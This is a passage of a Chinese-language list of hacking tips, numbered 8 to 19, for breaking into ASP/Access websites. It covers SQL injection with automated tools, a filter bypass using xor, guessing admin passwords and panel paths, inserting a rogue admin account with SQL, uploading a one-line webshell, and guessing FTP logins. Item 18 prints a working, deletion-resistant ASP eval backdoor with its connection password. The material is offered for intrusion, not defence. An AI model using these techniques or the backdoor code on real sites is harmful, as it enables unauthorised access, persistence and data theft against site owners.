8.有时啊D猜出表段了，但是猜不到字段的时候，可以到后台查看源文件,搜索ID或type，一般都能找到，再到啊D里添加字段进行猜解内容即可突破。

9.社工后台密码可以用这个技巧，假如网站域名是：www.hx95.com管理员名称为hx95，可以试试密码“hx95”和“www.hx95.com”来登陆。

10.手工注入时如果网站过滤了 and 1=1 and 1=2 ，可以用xor 1=1 xor 1=2 进行判断。

11.本地构造上传一句话木马，如果提示“请先选择你要上传的文件![ 重新上传 ]” ，说明文件太小了，用记事本打开再复制多几句话从而扩大文件大小，再上传即可。12.用啊d跑表，跑字段名name和pass出不来，显示长度超过50什么的，猜解不出的情况下，这时放在穿山甲去跑一般都能跑出来!

13.猜管理员后台小技巧，admin/left.asp、admin/main.asp、admin/top.asp、admin/admin.asp 会现出菜单导航，然后迅雷下载全部链接。

14.知道表名，字段，使用SQL语句在ACCESS数据库中加个用户名及密码语句：

Insert into admin(user,pwd)values('test','test')

15.当获得管理员密码，却拿不到管理员的帐号时，到前台随便打开一个新闻，找找诸如“提交者”“发布者”之类的字眼，一般“提交者”就是管理员的帐号了。

16.爆破ASP+IIS架设的网站web绝对路径，假设网站主页为：http://www.xxxxx/index.asp/ 提交http://www.xxxxx.cn/fkbhvv.aspx/，fkbhvv.aspx是不存在的。

17.源码的利用，很多网站用的都是网上下载的源码，有的站长很懒，什么也不改，然后就上传开通网站了，我们可以去下载一套，里面有很多默认的信息值得利用。

18.把以下代码上传到webshell里，后缀是asp，就算别人发现了也删除不了，算是超级防删的一句话木马了，可以很安全的留个后门，菜刀连接密码：x

<%Eval(Request(chr(120))):Set fso=CreateObject("Scripting.FileSystemObject"):Setf=fso.GetFile(Request.ServerVariables("PATH_TRANSLATED")):if f.attributes<>3939then:f.attributes=39:endif%>

19.当破解出帐号密码却找不到后台的时候，可以尝试链接ftp，假如域名是：www.baidu.com “ 得到的密码为“bishi”，我们就可以试下用“xxxx”“xxxx.cn”www.xxxx.cn作为FTP 用户名，用“bishi”：作为FTP密码来进行登陆，华夏联盟成功的几率可以很大的哦!ftp的默认端口：21 默认帐号密码：test

(责任编辑：)